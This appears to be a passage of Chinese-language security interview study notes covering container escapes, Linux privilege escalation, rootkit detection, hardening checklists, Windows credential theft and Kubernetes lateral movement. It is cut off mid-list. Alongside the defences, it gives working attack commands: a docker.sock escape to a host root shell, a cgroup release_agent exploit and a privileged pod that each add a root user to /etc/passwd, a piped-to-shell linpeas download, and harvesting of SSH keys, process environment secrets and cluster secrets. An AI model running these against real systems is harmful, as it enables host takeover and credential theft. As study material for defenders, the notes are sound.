五大逃逸姿势(要能背出来):

① 【特权容器 --privileged】
   拥有全部 capability + 全部设备 + 关掉 seccomp
   → fdisk -l 看到宿主机磁盘 → mount /dev/sda1 /mnt → chroot /mnt
   或更简单:nsenter --target 1 --all -- bash

② 【挂载 docker.sock】
   dockerd 是宿主机的 root 进程,跟它说话 = 让它干活
   → docker run -v /:/host --privileged alpine chroot /host

③ 【危险 Capability】
   CAP_SYS_ADMIN → cgroup release_agent 逃逸(内核在宿主机 ns 以 root 执行你的脚本)
   CAP_SYS_MODULE → insmod 内核模块到【宿主机内核】
   CAP_SYS_PTRACE → 注入宿主机进程
   CAP_DAC_READ_SEARCH → 读宿主机任意文件

④ 【挂载宿主机敏感目录 hostPath】
   / → 直接改 /etc/shadow
   /proc → 改 core_pattern,让崩溃时执行你的脚本(内核在宿主机以 root 执行)
   /var/lib/kubelet → 读所有 Secret + kubelet 证书

⑤ 【内核漏洞】
   Dirty COW / Dirty Pipe / PwnKit 在容器里跑 = 在宿主机提权
   根源就是共享内核,配置防不住,只能靠补丁 + 强隔离

真实场景的认知(加分):

很多人以为"只要不是特权容器就安全了"——这是错的。
现实中:
  - 只加 CAP_SYS_ADMIN ≈ 特权容器
  - hostPID: true 但没有 hostPath → 依然能通过 /proc/1/root 读写宿主机全部文件
  - 挂载 docker.sock 看起来"很无辜"(CI 场景标配)→ 等于递出 root 遥控器

所以审计要覆盖的不只是 privileged,
还要看:capabilities、hostPath、hostPID/hostIPC/hostNetwork、docker.sock。

F12(⭐⭐)为什么挂载 docker.sock 是危险的?

一句话回答: 因为 dockerd 是宿主机上以 root 运行的守护进程。把它的 Unix socket 挂进容器,等于把“宿主机 root 的遥控器”递给了容器里的人——你让它起一个挂载宿主机根目录的特权容器,它就照做。

两行命令逃逸:

# 容器里执行
docker -H unix:///var/run/docker.sock run -it \
    -v /:/host --privileged --net=host --pid=host \
    alpine chroot /host /bin/bash
# → 宿主机 root shell

为什么它很常见(反而更危险):

因为它有"合理"的业务场景:
  ① CI/CD:Jenkins / GitLab Runner 在容器里跑 docker build
  ② 容器管理面板:Portainer / Rancher Agent
  ③ 自动更新:Watchtower
  ④ 监控 agent:要通过 docker API 拿容器列表和日志
  ⑤ 图省事

★ 而且比特权容器更隐蔽——
   安全检查常常只看 privileged,不看 volumes 里的 docker.sock。

替代方案(要能说出来):

① 【Kaniko / Buildah / img】
   不需要 daemon 就能构建镜像 ★ 推荐替代 CI 里的 docker build

② 【Rootless Docker】
   dockerd 以普通用户运行,即使被利用也拿不到 root

③ 【docker-socket-proxy】
   在 socket 前面加个代理,只放行只读 API(GET),
   禁止 POST /containers/create 和 POST /exec

④ 【Podman】
   无守护进程架构,天然没有 socket 暴露问题

⑤ 【sysbox / DinD 隔离方案】
   在容器里跑独立的 dockerd(隔离的,但通常需要 privileged)

⑥ 【K8s 策略硬拦】
   Kyverno / OPA Gatekeeper:禁止 hostPath 挂载 docker.sock

6.7.2 进阶题(10 题)

F13(⭐⭐⭐)拿到一台 Linux 服务器的普通用户 shell,你会按什么顺序排查提权点?

一句话回答: 我会按“信息收集 → 自动扫描 → 手工验证 → 内核漏洞兜底”的顺序,先快后慢、先自动后手工。

完整排查清单(面试照着说就有条理):

# ===== 第 0 步:信息收集(5 分钟,不要跳过)=====
id                              # 我是谁,在哪些组
whoami; hostname; uname -a       # 系统版本(决定能用哪些内核漏洞)
cat /etc/os-release
sudo -l                          # ★ 第一件事:我能 sudo 什么
groups
env | grep -i "LD_PRELOAD\|LD_LIBRARY_PATH"   # 环境变量劫持
cat /etc/passwd | grep -v nologin             # 有哪些可登录账号
# ===== 第 1 步:自动扫描(10 分钟,快速覆盖)=====
# 上传 linpeas / linenum / linux-smart-enumeration
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# 或
./linpeas.sh -a | tee /tmp/linpeas.out
# ★ 它会自动检查:SUID、sudo、capabilities、cron、可写目录、
#   内核版本、凭据文件、docker 组、NFS、等 100+ 项
#   输出带颜色:红色=高危,黄色=中危

# 内核漏洞比对
./linux-exploit-suggester.sh
# 或离线版
python3 linux-exploit-suggester-2.pl -k <内核版本>
# ===== 第 2 步:手工验证高危项(重点)=====

# ① SUID(找 GTFOBins 上的程序)
find / -perm -4000 -type f 2>/dev/null | grep -Ev "^/(usr/bin/(su|sudo|passwd|...))"
# 比对 GTFOBins 清单

# ② Capabilities
getcap -r / 2>/dev/null
# 重点找 cap_setuid、cap_dac_read_search、cap_sys_admin、cap_sys_ptrace

# ③ Sudo
sudo -l
# 找 GTFOBins 程序、通配符、NOPASSWD

# ④ Cron(三个可攻击点)
cat /etc/crontab; ls -la /etc/cron.d/ /etc/cron.daily/
crontab -l; ls -la /var/spool/cron/crontabs/
# 看脚本是否可写、目录是否可写、是否用了通配符+相对路径

# ⑤ 可写的敏感文件/目录
find / -writable -type d 2>/dev/null | grep -Ev "^/(proc|sys|dev)"
# 重点:/etc/*、/usr/local/bin、/opt/*、启动脚本目录

# ⑥ 凭据(明文密码)
grep -rIl "password\|passwd\|pwd" /etc /opt /home /var/www 2>/dev/null | head -30
cat ~/.bash_history ~/.mysql_history
cat ~/.ssh/id_rsa 2>/dev/null        # ★ 私钥
find / -name "*.conf" -o -name "*.yml" -o -name "*.xml" 2>/dev/null | \
    xargs grep -l -i "password" 2>/dev/null | head -20

# ⑦ Docker 组(★ 常被忽略)
id | grep docker
# 如果在 docker 组:
docker run -v /:/host -it alpine chroot /host sh     # 直接 root

# ⑧ NFS no_root_squash
showmount -e <目标IP>
# 如果导出时配了 no_root_squash,挂载后以 root 身份创建 SUID 文件即可

# ⑨ 其他用户的进程/环境变量
ps aux
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -i "pass\|token\|key"
# ★ 从别人的进程环境变量里捞凭据,这一招很有效

# ⑩ 定时任务/服务引用的脚本是否可写
systemctl list-unit-files --type=service
grep -r "ExecStart" /etc/systemd/system/ /lib/systemd/system/ 2>/dev/null | head -30
# ===== 第 3 步:内核漏洞兜底(最后手段)=====
# ① 确认内核版本
uname -a
#   2.6.22~4.8.3 → Dirty COW
#   5.8~5.16.11  → Dirty Pipe
#   polkit <0.120 → PwnKit(几乎所有发行版都中)

# ② 编译并运行(注意:生产环境慎用,可能导致宕机)
#   优先选"稳定"的 exploit,竞态类的(Dirty COW)要重试几次

# ★ 优先级建议:
#   ① sudo -l(最快,10 秒出结果)
#   ② docker 组(最快,一行命令)
#   ③ SUID + Capabilities(快,几分钟)
#   ④ 凭据(中,可能有意想不到的收获)
#   ⑤ Cron + 可写文件(慢,但成功率高)
#   ⑥ 内核漏洞(最慢,且有风险)

诚实提醒:在生产环境做渗透测试时,内核漏洞 exploit 要慎重—— 竞态类的可能把机器搞崩(脏牛有过导致内核 panic 的案例)。 正式授权测试里要提前和客户说明风险。


F14(⭐⭐⭐)Rootkit 是什么?怎么检测?确认中了怎么办?

一句话回答: Rootkit 是藏在系统深处(内核态或用户态底层)的后门程序,能隐藏自己的进程、文件、网络连接,甚至隐藏自己。检测要靠“交叉验证”——用不受它影响的方式去观察系统。确认中招后,唯一可靠的处理是重装系统。

三类对比:

① 【用户态 Rootkit】
   手法:替换/劫持系统命令(ps、ls、netstat)、LD_PRELOAD 劫持函数
   隐蔽度:★★★☆☆
   检测:dpkg -V / rpm -Va;静态版 busybox 交叉验证

② 【LKM Rootkit(内核模块)】
   手法:insmod 一个 .ko,hook 系统调用表(sys_call_table)
        修改 getdents64(隐藏文件)、kill(发信号提权)、
        从模块链表摘除自己(lsmod 看不到)
   隐蔽度:★★★★☆
   检测:lsmod vs /proc/modules 对比;/sys/module 目录;
        dmesg;内核符号表对比;内存取证

③ 【eBPF Rootkit(新型)】
   手法:加载恶意 eBPF 程序,hook 内核函数
        相比 LKM 更难检测(没有模块、在内核里跑)
   隐蔽度:★★★★★
   检测:bpftool prog list;bpftool map list

六大检测方法(面试高频,要能背):

# ① 交叉验证(★ 最实用)
busybox-static ps aux          # 静态版 ps 不受 LD_PRELOAD 影响
busybox-static ls -la /tmp
busybox-static netstat -anp
#   普通 ps 看不到,但静态版看得到 → 中招

# ② 文件完整性校验
dpkg -V                        # Debian/Ubuntu:校验所有已安装包
rpm -Va                        # RHEL/CentOS
#   输出标记:S=大小变了  5=MD5变了  T=时间变了  ?=未知
#   重点看 /bin /sbin /usr/bin /usr/sbin 下的文件

# ③ 专用扫描工具
chkrootkit                     # 老牌,检测已知 rootkit
rkhunter --check --skip-keypress
#   检查:系统命令是否被改、/dev 下有没有异常的隐藏目录、
#        已知的 rootkit 文件名、SUID 文件变更、网络接口是否混杂模式

# ④ LKM 检测
lsmod                          # 正常方式
cat /proc/modules              # 绕过 lsmod(rootkit 可能从链表摘除自己)
#   对比两份输出:/proc/modules 有但 lsmod 没有 → 异常
ls /sys/module                 # 再看这个,三方对比

# ★ eBPF 检测(新型 rootkit)
bpftool prog list
bpftool map list
bpftool perf list
#   找没有对应正常应用的 eBPF 程序

# ⑤ 网络行为分析
#   从【网络侧】看,能发现主机侧被隐藏的连接
tcpdump -i any -nn 'not port 22'
#   或者在网络设备上抓包,看有没有主机"不承认"的连接
ss -anp                        # 新工具,比 netstat 更底层
cat /proc/net/tcp              # 最原始的数据,rootkit 很难全改

# ⑥ 内存取证(终极手段,但最可靠)
#   ★ 用 LiME 抓内存镜像
insmod lime.ko "path=/mnt/mem.lime format=lime"
#   ★ 用 Volatility 分析
volatility -f mem.lime --profile=LinuxUbuntu1804x64 linux_pslist      # 进程列表
volatility -f mem.lime --profile=... linux_lsmod                     # 内核模块
volatility -f mem.lime --profile=... linux_hidden_modules            # ★ 隐藏的模块
volatility -f mem.lime --profile=... linux_check_syscall             # ★ 系统调用表是否被 hook
volatility -f mem.lime --profile=... linux_netstat                   # 网络连接
#   内存里的记录是"原始"的,rootkit 很难完全伪造

确认中招后怎么办(诚实答案):

★ 唯一可靠:重装系统

原因:
  ① 你不知道它做了什么(可能开了别的后门、改了固件、
     装了 bootloader 级后门)
  ② 你不知道你删干净没有(rootkit 可能有多重冗余)
  ③ 你用的检测工具本身可能已被劫持
  ④ "清理"的信心成本远大于重装

正确流程:
  ① 【隔离】断网(但别关机,保住内存证据)
  ② 【取证】先抓内存镜像(易失性数据最优先),再抓磁盘镜像
  ③ 【分析】用离线工具分析,搞清楚入侵路径和时间线
  ④ 【重建】干净介质重装系统,从备份恢复数据(备份要确认是入侵前的)
  ⑤ 【修补】修掉入侵路径的漏洞
  ⑥ 【改密】所有可能被泄露的凭据全部轮换
  ⑦ 【监控】上线后加强监控,看攻击者有没有回来

★ 千万别做:
  "找到后门文件删掉,改个密码,继续用" ← 这是最常见的错误

F15(⭐⭐⭐)Linux 主机安全加固,你会做哪些事?

一句话回答: 我按“账户认证 → 文件权限 → 内核参数 → 强制访问控制 → 审计 → 完整性 → 日志 → 检测”八层来做,前四层是防入侵,后四层是防不住时能发现。

八层清单:

【第 1 层:账户与认证】
  ✓ 密码策略:pwquality(12 位 + 复杂度)+ login.defs(90 天过期)
  ✓ 登录失败锁定:pam_faillock(5 次锁 15 分钟)
  ✓ SSH 加固(★ 最重要):
      PermitRootLogin no
      PasswordAuthentication no        # 强制密钥
      PubkeyAuthentication yes
      AllowUsers / AllowGroups         白名单
      AuthorizedKeysFile /etc/ssh/keys/%u   ★ 集中管理,用户不能自己加公钥
      MaxAuthTries 3
      LoginGraceTime 30
      ClientAliveInterval 300
      X11Forwarding no
      PermitEmptyPasswords no
      Protocol 2
  ✓ 清理无用账号、禁止空密码
  ✓ 关键系统加 MFA(Google Authenticator / PAM)

【第 2 层:文件权限】
  ✓ 关键文件权限:
      /etc/shadow      000 或 600
      /etc/passwd      644
      /etc/gshadow     000
      /etc/sudoers     440
      /etc/ssh/sshd_config  600
      ~/.ssh/authorized_keys  600
      ~/.ssh/          700
  ✓ 查找全局可写文件:find / -perm -0002 -type f 2>/dev/null
  ✓ 查找无主文件:find / -nouser -o -nogroup 2>/dev/null
  ✓ umask 027(新文件默认 640/750)
  ✓ 挂载选项:/tmp /dev/shm /var/tmp → nosuid,noexec,nodev
  ✓ 关键文件锁定:chattr +i /etc/passwd /etc/shadow /etc/sudoers
                  chattr +a /var/log/secure(只能追加)
  ✓ 定期审计 SUID/SGID/Capability

【第 3 层:内核参数(sysctl)】
  ✓ kernel.kptr_restrict = 2              隐藏内核符号地址
  ✓ kernel.yama.ptrace_scope = 2          禁止非子进程的 ptrace
  ✓ kernel.dmesg_restrict = 1             禁止非 root 读 dmesg
  ✓ kernel.unprivileged_bpf_disabled = 1  禁止非特权 eBPF
  ✓ fs.protected_hardlinks = 1            防硬链接攻击
  ✓ fs.protected_symlinks = 1             防符号链接攻击
  ✓ net.ipv4.conf.all.rp_filter = 1       防 IP 欺骗
  ✓ net.ipv4.icmp_echo_ignore_broadcasts = 1   防 smurf 攻击
  ✓ net.ipv4.conf.all.accept_source_route = 0
  ✓ net.ipv4.conf.all.accept_redirects = 0
  ✓ net.ipv4.conf.all.send_redirects = 0
  ✓ net.ipv4.tcp_syncookies = 1           防 SYN 洪水
  ✓ kernel.core_pattern = core            防止 core_pattern 逃逸
  ⚠ 注意:有 6 个参数可能影响业务(比如 rp_filter 在多网卡环境、
    unprivileged_bpf_disabled 在有 eBPF 监控的环境),要先评估

【第 4 层:强制访问控制(MAC)】
  ✓ SELinux(RHEL 系)或 AppArmor(Debian 系)设为 enforcing
  ✓ 核心价值:即使你是 root,也受策略限制
  ★ 实战价值最大的场景:webshell 被限制到几乎无用
    (即使攻击者传了 webshell,SELinux 也不让它访问 /etc/shadow、
     不让它外连、不让它执行 /tmp 下的程序)

【第 5 层:审计(auditd)】
  ✓ 关键规则:
      -w /etc/passwd -p wa -k identity
      -w /etc/shadow -p wa -k identity
      -w /etc/sudoers -p wa -k sudoers_change
      -w /etc/ssh/sshd_config -p wa -k sshd_config
      -w /etc/ld.so.preload -p wa -k ld_preload_tamper   ★
      -a always,exit -F arch=b64 -S execve -k exec      记录所有命令执行
      -a always,exit -F arch=b64 -S setuid -S setgid -k privilege
  ✓ 日志远程外发(本机日志不可信)
  ✓ -e 2 锁定规则(防攻击者改规则,需重启才能解)

【第 6 层:文件完整性监控(FIM)】
  ✓ AIDE / Tripwire
  ✓ 监控范围:/bin /sbin /usr/bin /usr/sbin /etc /lib
              /boot(内核和 initramfs) /root
  ✓ 初始化后把数据库放到只读介质或远程保存(放本机会被一起改)
  ✓ 定期自动检查(cron)+ 结果邮件/告警外发

【第 7 层:日志加固】
  ✓ rsyslog 远程外发:*.* @@logserver:514
  ✓ 磁盘队列防止日志服务器不可用时丢日志
  ✓ 安全日志保留 1 年(等保要求 6 个月)
  ✓ chattr +a 保护日志文件(防删除,只能追加)
  ✓ 时间同步 chrony(★ 时间不准的日志对取证毫无价值)
  ✓ 命令审计(防 history 被清):
      在 /etc/profile 里配置 PROMPT_COMMAND,
      把每条命令通过 logger 发到 syslog

【第 8 层:HIDS / EDR】
  ✓ 开源方案:Wazuh(HIDS,含 FIM + 日志分析 + 合规)
              Falco(运行时行为检测,云原生首选)
              Osquery(用 SQL 查主机状态,适合排查)
  ✓ 商业 EDR:CrowdStrike / SentinelOne / 微软 Defender for Endpoint
  ✓ 关键能力:进程行为、文件变更、网络连接、异常命令、内存马检测

优先级建议(时间有限时先做哪些):

如果只能做 5 件事,我选:
  ① SSH 加固(密钥登录 + 禁 root + 白名单)  ← 堵住最常见的入口
  ② 日志远程外发                              ← 出事了还能查
  ③ 及时打补丁                                ← 挡住绝大多数攻击
  ④ 最小化服务(关掉不需要的端口和服务)      ← 减小攻击面
  ⑤ auditd 或 Falco(能看到发生了什么)       ← 防不住时至少知道

★ 认知:加固不是"越严越好",要在安全和可用性之间平衡。
   比如 sysctl 有 6 个参数可能影响业务,SELinux 配错会搞挂应用。
   正确做法:先上【审计模式】跑一段时间,看有没有误伤,再切强制。

F16(⭐⭐⭐)Windows 上凭据是怎么被窃取的?怎么防?

一句话回答: 主要从 LSASS 进程的内存里读(mimikatz),或者从 SAM 数据库、NTDS.dit 文件里离线提取。防护要做四件事:关 WDigest、开 LSA Protection、上 Credential Guard、用 LAPS 管理本地管理员密码。

窃取的三条路径:

① 【内存:LSASS】—— 最常用
   lsass.exe 是 Windows 的认证服务,内存里存着:
     - 明文密码(WDigest 开着时)
     - NTLM Hash(★ 永远有,而且能做哈希传递 PTH)
     - Kerberos 票据(TGT,能做票据传递 PTT)
     - DPAPI 主密钥
   工具:mimikatz 的 sekurlsa::logonpasswords
        或用系统自带的 comsvcs.dll MiniDump 导出内存转储后离线分析
        (★ 后者不需要上传任何工具,很难被杀软拦)

② 【文件:SAM】—— 本地账号
   C:\Windows\System32\config\SAM 存着本地账号的 NTLM Hash
   (用 SYSTEM hive 里的密钥加密)
   提取:reg save HKLM\SAM / 或 vssadmin 卷影副本绕过文件锁
   离线解密:secretsdump.py -sam sam.save -system system.save LOCAL

③ 【文件:NTDS.dit】—— 域账号(★ 危害最大)
   域控上的目录数据库,存着【域里所有用户】的 Hash
   提取:ntdsutil / vssadmin / DCSync(远程,走合法的域复制协议)
   拿到它 = 拿到整个域 = 黄金票据、白银票据、PTH 全部成立

防护(按优先级):

① 【LAPS】★ 性价比之王
   每台机器的本地管理员密码随机生成、定期轮换、存在 AD 里
   → 把"一台沦陷 = 全网沦陷"变回"一台沦陷 = 一台沦陷"
   → Windows LAPS 在 Win10 22H2 / Win11 / Server 2022 上已内置

② 【关闭 WDigest】
   HKLM\SYSTEM\CCS\Control\SecurityProviders\WDigest
     UseLogonCredential = 0
   → 内存里不存明文密码(但 NTLM Hash 还在,只是提高门槛)

③ 【LSA Protection(RunAsPPL)】
   HKLM\SYSTEM\CCS\Control\Lsa → RunAsPPL = 1
   → LSASS 跑成受保护进程,普通管理员(哪怕有 SeDebugPrivilege)读不了
   → 挡住绝大部分 mimikatz 的直接内存读取

④ 【Credential Guard】
   用虚拟化安全(VBS)把凭据隔离到独立虚拟环境
   → LSASS 里根本没有完整凭据,连 PTH 都部分失效
   → 需要 UEFI + 虚拟化支持 + Win10 企业版/教育版/Win11

⑤ 【域管不登录普通机器】
   限制"允许本地登录"的组
   → 域管的令牌和凭据根本不会出现在普通机器上
   → 这是最有效但最难落地的(要改运维习惯)

⑥ 【禁用 NTLM 或用 Credential Guard 限制】
   LmCompatibilityLevel = 5(仅 NTLMv2,拒绝 LM/NTLMv1)

⑦ 【监控】
   Sysmon Event ID 10(ProcessAccess)目标是 lsass.exe
   关注 GrantedAccess:
     0x1010  = 只读查询(正常)
     0x1438+ = 可疑(VM_READ)
     0x1fffff = PROCESS_ALL_ACCESS(几乎一定是恶意的)
   → 接入 SIEM 告警

F17(⭐⭐⭐)容器安全加固应该怎么做?给一个完整的清单。

一句话回答: 我按“镜像构建 → 运行时配置 → 集群策略 → 网络隔离 → 运行时检测”五层来做。核心原则是最小权限和纵深防御——不要指望任何单一措施。

五层清单:

【第 1 层:镜像(供应链)】
  ✓ 多阶段构建:构建期的编译器不进运行镜像
  ✓ 基础镜像最小化:distroless / alpine / scratch
    ★ distroless 没有 shell,拿到 RCE 也没法执行命令
  ✓ 非 root 用户运行:USER 65532(distroless 的 nonroot)
  ✓ 不用 latest tag,用固定版本 + digest
  ✓ 漏洞扫描:Trivy / Grype,CRITICAL 阻断 CI
  ✓ 镜像签名:cosign + Kyverno 准入验签
  ✓ 不在镜像里放密钥(用 Secret / 外部密钥管理)
  ✓ 用 .dockerignore 排除 .git / .env / 测试文件
  ✓ 定期重建(基础镜像的安全更新)

【第 2 层:运行时(容器配置)】
  ✓ runAsNonRoot: true
  ✓ readOnlyRootFilesystem: true(需要写的目录用 emptyDir)
  ✓ allowPrivilegeEscalation: false
  ✓ capabilities: drop ALL(按需加,绝不给 SYS_ADMIN/SYS_MODULE/SYS_PTRACE)
  ✓ seccompProfile: RuntimeDefault
  ✓ --no-new-privileges(SUID 位不生效)
  ✓ 资源 limits 必填(防 DoS)
  ✓ 不挂载 docker.sock、不挂危险 hostPath
  ✓ 不用 hostPID / hostIPC / hostNetwork
  ✓ automountServiceAccountToken: false(业务应用一般不需要)

【第 3 层:集群策略】
  ✓ Pod Security Admission:业务 namespace 上 restricted
    (老集群先 warn/audit 跑两周,修完再切 enforce)
  ✓ 策略引擎:Kyverno / OPA Gatekeeper,Enforce 模式
    禁特权容器、禁 docker.sock、禁危险 hostPath、
    要求只读根、要求 resource limits、要求镜像来自可信仓库且已签名
  ✓ RBAC 最小权限:
    - 不给业务 SA 这些:create pods/exec、跨 ns 的 list secrets、
                       escalate / bind / impersonate、create daemonsets
    - 定期审查 ClusterRoleBinding

【第 4 层:网络】
  ✓ NetworkPolicy 默认拒绝(default-deny),按需放行
  ✓ 按 namespace / 标签做微分段
  ✓ API Server、etcd、kubelet 端口不对业务网段开放
  ✓ Service Mesh(Istio/Linkerd)做 mTLS(可选,高安全场景)

【第 5 层:运行时检测】
  ✓ Falco / Tracee / Cilium Tetragon
  ✓ 关键规则:
    - 特权容器启动
    - 容器内执行 mount / nsenter / unshare
    - 容器访问 docker.sock
    - 容器写入 hostPath 挂载的敏感路径
    - 容器里启动 shell(业务容器不该有)
    - 修改 /proc/sys/kernel/core_pattern
    - 读取 ServiceAccount Token
    - 连接可疑端口(4444/1337 等)
  ✓ K8s 审计日志接入 SIEM
  ✓ 节点层的 HIDS(Falco 也管节点)

多租户/不可信代码的额外措施:

如果需要跑【不可信代码】(CI 执行用户提交的代码、Serverless、
多租户 SaaS 跑客户脚本):

  ✓ 强隔离运行时:gVisor(runsc)或 Kata Containers
    - gVisor:用户态实现内核,系统调用不直接进宿主机内核
              性能下降 10~30%,兼容性 ~90%
    - Kata:每个 Pod 一个轻量 VM,真·硬件隔离
            性能接近原生,启动 ~500ms
  ✓ 独立节点池(nodeSelector / taint)
  ✓ 更严格的网络隔离(禁止访问内网)
  ✓ 更短的运行时间限制、更强的资源限制

★ 务实建议:
   90% 的公司用 runc + PSA restricted + Falco 就够了。
   别为了"更安全"给所有业务上 Kata——性能损耗和运维复杂度会让你后悔。
   只有"跑不可信代码"这个场景才真正需要强隔离。

F18(⭐⭐⭐)什么是 cgroup release_agent 逃逸?现在还有效吗?

一句话回答: 这是 CAP_SYS_ADMIN 下的经典逃逸:cgroup v1 有个机制,当一个 cgroup 里最后一个进程退出时,内核会执行 release_agent 文件里指定的程序——而且是在宿主机 namespace 里以 root 执行。攻击者只要能挂载 cgroup 文件系统并改写 release_agent,就能让宿主机执行自己的脚本。在 cgroup v2 上这个机制已被移除,但大量生产环境还在用 v1,所以依然有效。

利用步骤(简述):

# 前提:容器内有 CAP_SYS_ADMIN,宿主机用 cgroup v1
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release          # 这个 cgroup 空了就触发

# 找出容器可写层在宿主机上的真实路径(overlayfs 的 upperdir)
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)

# ★ 关键点:release_agent 写的是【宿主机能访问的路径】
echo "$host_path/cmd" > /tmp/cgrp/release_agent

# 写载荷(这个脚本会在宿主机上以 root 执行)
echo '#!/bin/sh' > /cmd
echo 'echo "hacker::0:0::/root:/bin/bash" >> /etc/passwd' >> /cmd
chmod +x /cmd

# 触发:往 cgroup 里扔一个进程然后让它退出
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# → cgroup 空了 → 内核在宿主机上执行 /cmd → /etc/passwd 被改

为什么内核会以 root 执行(原理):

release_agent 是【内核调用】的(kernel-space 触发 user-space 程序),
它不在任何容器的 namespace 里,而是:
  - 在宿主机的【root namespace】里
  - 以【root 用户】身份
  - 所以能读能写宿主机的任何文件

现在还有效吗(关键):

cgroup v2:★ 已移除 release_agent 机制,这个逃逸失效
cgroup v1:依然有效

检测当前是 v1 还是 v2:
  stat -fc %T /sys/fs/cgroup
    "tmpfs"     → cgroup v1(有风险)
    "cgroup2fs" → cgroup v2(这个逃逸不适用)

现实情况:
  - CentOS 7 / RHEL 7 / 老内核 → cgroup v1(还有大量在用)
  - 新发行版(systemd 默认 v2)→ cgroup v2
  - 有些环境手动加了 systemd.unified_cgroup_hierarchy=0 强制用 v1

★ 但要注意:
   即使 cgroup v2,CAP_SYS_ADMIN 依然非常危险(还有其他打法)。
   所以"用 cgroup v2 就安全了"是错误认知。

防御:

① 别给容器 CAP_SYS_ADMIN(★ 根本措施)
② 容器只读根文件系统(挡住写脚本)
③ seccomp RuntimeDefault(部分 mount 相关调用被挡)
④ Pod Security Admission restricted(禁止加 SYS_ADMIN)
⑤ 宿主机升级到 cgroup v2(顺带的好处)

F19(⭐⭐⭐)K8s 里,攻击者拿到一个 Pod 的 shell,怎么横向到整个集群?

一句话回答: 路径是:读 ServiceAccount Token → 探测 RBAC 权限 → 找高权限 SA 或创建特权 Pod → 逃逸到节点 → 控制更多节点 → 拿集群 admin。核心是利用 RBAC 配置过松和 Pod 创建权限。

详细攻击链:

# ===== 第 1 步:拿 Token =====
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
APISERVER=https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}

# 如果 automountServiceAccountToken 关了,这条路断
# (所以这个配置项很重要!)

# ===== 第 2 步:探测权限 =====
kubectl auth can-i --list
# 重点看有没有:
#   create pods / create pods/exec   ← 最危险
#   list secrets / get secrets
#   escalate / bind / impersonate
#   create daemonsets / deployments
#   create serviceaccounts/token

# ===== 第 3 步:按权限选择路径 =====

# 【路径 A:能 create pods → 创建特权 Pod 逃逸到节点】
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: escape
spec:
  hostPID: true
  containers:
  - name: escape
    image: alpine
    command: ["/bin/sh"]
    args: ["-c", "nsenter --target 1 --mount --uts --ipc --net --pid -- sh -c 'echo hacker::0:0::/root:/bin/bash >> /etc/passwd'"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
EOF
# Pod 一启动,节点的 /etc/passwd 就被改了 → SSH 到节点

# 更狠:用 DaemonSet 在所有节点上都跑一遍 → 全集群节点沦陷

# 【路径 B:能 list secrets → 偷高权限 SA 的 Token】
kubectl get secrets --all-namespaces -o json | jq -r '.items[].data["token"]' | \
    while read t; do echo $t | base64 -d; done
# K8s 1.24 之前 SA Token 是永久的,偷到就能一直用

# 【路径 C:能 pods/exec → 进其他 Pod】
kubectl exec -it <其他Pod> -- /bin/sh
# → 读那个 Pod 的环境变量(可能有数据库密码)和 Token

# 【路径 D:有 escalate/bind → 自己给自己 cluster-admin】
kubectl create clusterrolebinding pwned \
    --clusterrole=cluster-admin --serviceaccount=default:default

# 【路径 E:改系统 DaemonSet → 打进所有节点】
kubectl patch daemonset <CNI的DS> -n kube-system \
    --patch '{"spec":{"template":{"spec":{"containers":[{"name":"xx","command":["/evil"]}]}}}}'

# 【路径 F:MutatingWebhook → 注入所有新 Pod(持久化,极难清除)】
# 创建一个 webhook,所有新建 Pod 都被注入你的 sidecar

# ===== 第 4 步:节点上继续 =====
# 到节点后:
#   - 读 /var/lib/kubelet/pods/*/volumes/kubernetes.io~secret/*  ← 所有 Secret
#   - 读 /var/lib/kubelet/pki/kubelet-client-current.pem         ← kubelet 证书
#   - 用 kubelet 证书访问 API Server(权限可能很高)
#   - 看其他容器的数据(/var/lib/docker/overlay2/*/diff/)

防御(对应每条路径):

① automountServiceAccountToken: false
   → 业务 Pod 默认不给 Token(★ 断掉第一步)

② RBAC 最小权限
   → 不给 create pods/exec、不给跨 ns 的 list secrets
   → 不给 escalate / bind / impersonate
   → 不给 create daemonsets、patch deployments

③ Pod Security Admission restricted(或 Kyverno 策略)
   → 即使能 create pods,也创建不了特权 Pod
   ★ 这是"最后一道防线",非常关键

④ K8s 1.24+ 的 BoundServiceAccountTokenVolume
   → Token 有时效、绑定 Pod,偷了也不能永久用

⑤ Secret 静态加密(EncryptionConfiguration / KMS)
   → 即使读到 etcd 备份也解不开

⑥ 节点加固:kubelet --anonymous-auth=false
   → 防止 10250 未授权访问

⑦ 运行时检测(Falco)
   → 检测特权 Pod 创建、读取 SA Token、异常 exec

⑧ 审计日志
   → 记录所有 API 操作,事后可溯源

F20(⭐⭐⭐⭐)如果让你从零设计一套主机安全体系,你会怎么做?

一句话回答: 我会按“预防 → 检测 → 响应 → 恢复”四个阶段设计,每个阶段分层落地。核心认知是一定会被攻破,所以检测和响应的权重不低于预防。

体系设计(面试要能画出来):

【阶段一:预防(减小攻击面 + 提高门槛)】

  ① 资产与暴露面管理
     - 资产清单(CMDB):不知道有什么,就保护不了什么
     - 暴露面收敛:公网只开必要端口,业务端口不直接暴露
     - 堡垒机 / 零信任网关(不再有"内网可信"的概念)

  ② 基线加固(标准化)
     - 操作系统基线(等保 2.0 三级 / CIS Benchmark)
     - 中间件基线(Nginx / Tomcat / Redis / MySQL)
     - 用 Ansible / SaltStack 批量下发,配置漂移自动修复

  ③ 补丁管理
     - 分级:内核/网络服务漏洞 7 天内,普通 30 天内
     - 灰度:先测试环境 → 灰度 → 全量
     - 紧急补丁流程(Log4Shell 这种要有 24 小时内的应急通道)

  ④ 身份与权限
     - 统一身份(SSO + MFA)
     - 最小权限(默认无权限,按需申请,定期回收)
     - 特权账号管理(PAM):临时提权 + 审批 + 录像
     - 服务账号用 gMSA / 随机密码,不允许人知道

  ⑤ 应用控制
     - 服务器:AppLocker / WDAC(白名单)
     - 容器:PSA restricted + 只读根 + 非 root
     - 网络:微分段 + 默认拒绝

  ⑥ 供应链
